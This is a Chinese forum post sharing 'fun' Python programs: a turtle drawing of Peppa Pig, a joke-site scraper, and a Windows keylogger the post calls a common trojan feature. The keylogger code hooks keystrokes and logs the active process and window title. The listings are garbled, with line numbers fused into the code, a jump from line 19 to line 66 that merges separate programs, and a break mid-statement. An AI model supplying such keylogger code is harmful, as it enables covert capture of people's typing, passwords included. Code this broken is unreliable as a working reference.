安界 潜水
  • 1发帖数
  • 1主题数
  • 0关注数
  • 0粉丝
开启左侧

分享几款由“Python”语言编写的“有趣、恶搞、好玩”的程序代码

[复制链接]
 楼主| 安界 发表于 2019-1-21 10:22:01 | 显示全部楼层 |阅读模式 打印 上一主题 下一主题
为提高大家对“Python”编程语言的学习兴趣,今天给大家分享几款有趣的Python程序代码,感兴趣的小伙伴可以跟着学习借鉴哦!
分享一:"啥是佩奇?"让Python语言告诉你


                               
登录/注册后可看大图

用Python代码创作一副佩奇:
1. # coding:utf-82. import turtle as t3.4. t.pensize(4)5. t.hideturtle()6. t.colormode(255)7. t.color((255,155,192),"pink")8. t.setup(840,500)9. t.speed(10)10.11. #鼻子12. t.pu()13. t.goto(-100,100)14. t.pd()15. t.seth(-30)16. t.begin_fill()17. a=0.418. for i in range(120):19. if 0 0:66. pageStories = self.stories[0]67. nowPage += 168. del self.stories[0]69. self.getOneStory(pageStories, nowPage)70.71. spider = QSBK()72. spider.start()分享六、木马程序常用的键盘记录功能实现

Python keylogger键盘记录的功能的实现主要使用了pythoncom及pythonhook,然后就是对windows API的各种调用。Python之所以用起来方便快捷,主要归功于这些巨大的支持库,正所谓"人生苦短,快用Python"。
代码如下:
# -*- coding: utf-8 -*- from ctypes import *import pythoncomimport pyHookimport win32clipboard user32 = windll.user32kernel32 = windll.kernel32psapi = windll.psapicurrent_window = None #def get_current_process():  # 获取最上层的窗口句柄 hwnd = user32.GetForegroundWindow()  # 获取进程ID pid = c_ulong(0) user32.GetWindowThreadProcessId(hwnd,byref(pid))  # 将进程ID存入变量中 process_id = "%d" % pid.value  # 申请内存 executable = create_string_buffer("\x00"*512) h_process = kernel32.OpenProcess(0x400 | 0x10,False,pid)  psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)  # 读取窗口标题 windows_title = create_string_buffer("\x00"*512) length = user32.GetWindowTextA(hwnd,byref(windows_title),512)  # 打印 print print "[ PID:%s-%s-%s]" % (process_id,executable.value,windows_title.value) print  # 关闭handles kernel32.CloseHandle(hwnd) kernel32.CloseHandle(h_process) # 界说击键监听事件函数def KeyStroke(event):  global current_window  # 检测目标窗口是否转移(换了其他窗口就监听新的窗口) if event.WindowName != current_window: current_window = event.WindowName # 函数调用 get_current_process()  # 检测击键是否常规按键(非组合键等) if event.Ascii > 32 and event.Ascii

精彩评论8

用户2157000841668 发表于 2019-1-21 12:36:11 | 显示全部楼层
恶搞的那个锁屏后怎么才能退出来
江城牧 发表于 2019-1-21 12:39:50 | 显示全部楼层
转发了
江湖小小鹏 发表于 2019-1-21 12:58:28 | 显示全部楼层
转发了
小柯同学的下午茶 发表于 2019-1-22 07:49:37 | 显示全部楼层
转发了
阿丘445 发表于 2019-2-6 15:58:08 | 显示全部楼层
转发了
小叶518518 发表于 2020-8-5 13:34:24 | 显示全部楼层
佩奇没画好
象序理透视学 发表于 2020-9-19 13:18:14 | 显示全部楼层
二进制、量子纠缠容于一体化
蓝忆亿 发表于 2020-10-20 11:44:58 | 显示全部楼层
转发了
猜你喜欢
在线客服邮箱
wxcy#wkgb.net

邮箱地址#换为@

Powered by 创意电子 ©2018-现在 专注资源实战分享源码下载站联盟商城